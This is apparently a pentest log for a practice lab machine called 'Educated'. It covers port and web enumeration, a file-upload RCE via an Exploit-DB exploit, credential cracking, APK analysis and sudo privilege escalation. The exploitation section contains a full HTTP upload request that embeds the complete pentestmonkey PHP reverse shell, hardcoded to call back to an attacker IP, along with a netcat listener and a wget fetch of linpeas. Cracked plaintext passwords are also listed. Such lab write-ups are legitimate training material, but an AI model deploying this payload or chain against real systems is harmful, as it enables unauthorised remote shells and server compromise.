Educated
๐งช Pentest Log: {{date:2025-07-23}}
๐ Target Information
- Machine Name: Educated
- IP Address: 192.168.155.13
- Operating System: Linux
๐ก Enumeration
๐ Port Scanning
Command Used
ports=$(nmap -p- --min-rate=1000 -T4 192.168.155.13 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 192.168.155.13 -oN tcp_scan_result.txt
nmap -sU --top-ports 100 192.168.155.13 -oN udp_scan_result.txt
Port 22
ssh msander@192.168.155.13
ssh emiller@192.168.155.13
Port 80
Web Content Enumeration
gobuster dir -u http://192.168.155.13 -w /usr/share/seclists/Discovery/Web-Content/common.txt
feroxbuster --url http://192.168.155.13
wpscan -url http://192.168.155.13
dirsearch -u http://192.168.155.13 -r -o dirsearch.txt
๐ฃ Exploitation
๐ Vulnerability Summary
- Service / Port: 80
- Vulnerability Type: (e.g., RCE, LFI, SQLi, etc.) RCE
๐ Exploit Execution
๐ง Exploit Method
Tool / Script Used:
https://www.exploit-db.com/exploits/50587
POST management/admin/examQuestion/create HTTP/1.1
Host: 192.168.155.13
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
Content-Type: multipart/form-data;
boundary=---------------------------183813756938980137172117669544
Content-Length: 1331
Origin: http://192.168.155.13
Connection: close
Referer: http://192.168.155.13/admin/examQuestion
Cookie: ci_session=793aq6og2h9mf5cl2q2b3p4ogpcslh2q
Upgrade-Insecure-Requests: 1
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="name"
test4
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="class_id"
2
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="subject_id"
5
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="timestamp"
2021-12-08
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="teacher_id"
1
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="file_type"
txt
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="status"
1
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="description"
123123
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="_wysihtml5_mode"
1
-----------------------------183813756938980137172117669544
Content-Disposition: form-data; name="file_name"; filename="cmd.php"
Content-Type: application/octet-stream
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.45.163'; // CHANGE THIS
$port = 80; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
-----------------------------183813756938980137172117669544--
---
nc -lvnp 80
found database.php file with database credential
crack the hash from database, gain the msander credential
msander:greatteacher123
๐งฌ Privilege Escalation
๐ค Current Access
- User: msander
- Groups: msander, staff
- Shell Type: (reverse shell / web shell / meterpreter / etc.) ssh
๐ Enumeration
Linpeas:
wget http://192.168.45.196:443/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
found the grade-app.apk
Mobile Security Framework (MobSF)
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
# Default username and password: mobsf/mobsf
found emiller credentials
emiller:EzPwz2022_dev1$23!!
๐ Privilege Escalation Exploit
๐ Exploit Summary
- Technique Used: (e.g., Sudo Misconfig, SUID Abuse, Kernel Exploit) Sudo Misconfig
- Target Binary/Service: su
- Reference / Source: (GTFOBins, ExploitDB, CVE, etc.) N/A
๐ง Exploit Steps
- Smash to root
sudo su -